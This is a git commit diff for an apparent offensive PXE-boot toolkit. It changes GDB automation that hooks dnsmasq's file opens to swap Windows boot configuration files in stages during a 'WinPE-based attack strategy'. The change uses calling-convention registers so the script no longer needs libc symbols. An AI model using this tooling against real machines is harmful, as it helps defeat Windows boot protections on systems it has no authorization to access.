winpe: improve compatibility of GDB automation

Previously it would fail if no symbol table for libc was available,
because the named first argument used in the break point condition
would not be found. Instead, use registers according to the calling
convention for x86_64 and aarch64 and fall back to the named argument
(relying on symbols) for other architectures.

README.md

@@ -92,7 +92,7 @@ also need:
 
  - dnsmasq
  - impacket's smbserver.py
- - GDB (for the WinPE-based attack strategy)
+ - GDB with Python support (for the WinPE-based attack strategy)
 
 ### Linux Initramfs Generation
 

pxe/start-pxe-winpe.sh

@@ -7,11 +7,28 @@ interface=$1
 
 sudo ip a add 10.13.37.100/24 dev $interface
 
-cat <<'EOF' > "$scriptpath/dnsmasq.winpe.gdb"
+arch=$(uname -m)
+reg=""
+
+case "$arch" in
+    x86_64)
+        reg="\$rdi"
+        ;;
+    aarch64)
+        reg="\$x0"
+        ;;
+    *)
+        echo "WARNING: Unsupported architecture: $arch"
+        echo "Make sure symbols are available."
+        reg="file"
+        ;;
+esac
+
+cat <<EOF > "$scriptpath/dnsmasq.winpe.gdb"
 set breakpoint pending on
 break open
 break open
-condition 1 $_regex(file, ".*/bootmgfw\\.efi$")
+condition 1 \$_regex((char*)$reg, ".*/bootmgfw\\.efi$")
 commands 1
   print "Preparing stage 1"
   disable 1
@@ -19,7 +36,7 @@ commands 1
   shell ln -sf BCD_winpe1 smb/BCD
   continue
 end
-condition 2 $_regex(file, ".*/bootmgfw-stage2\\.efi$")
+condition 2 \$_regex((char*)$reg, ".*/bootmgfw-stage2\\.efi$")
 commands 2
   print "Preparing stage 2"
   disable 2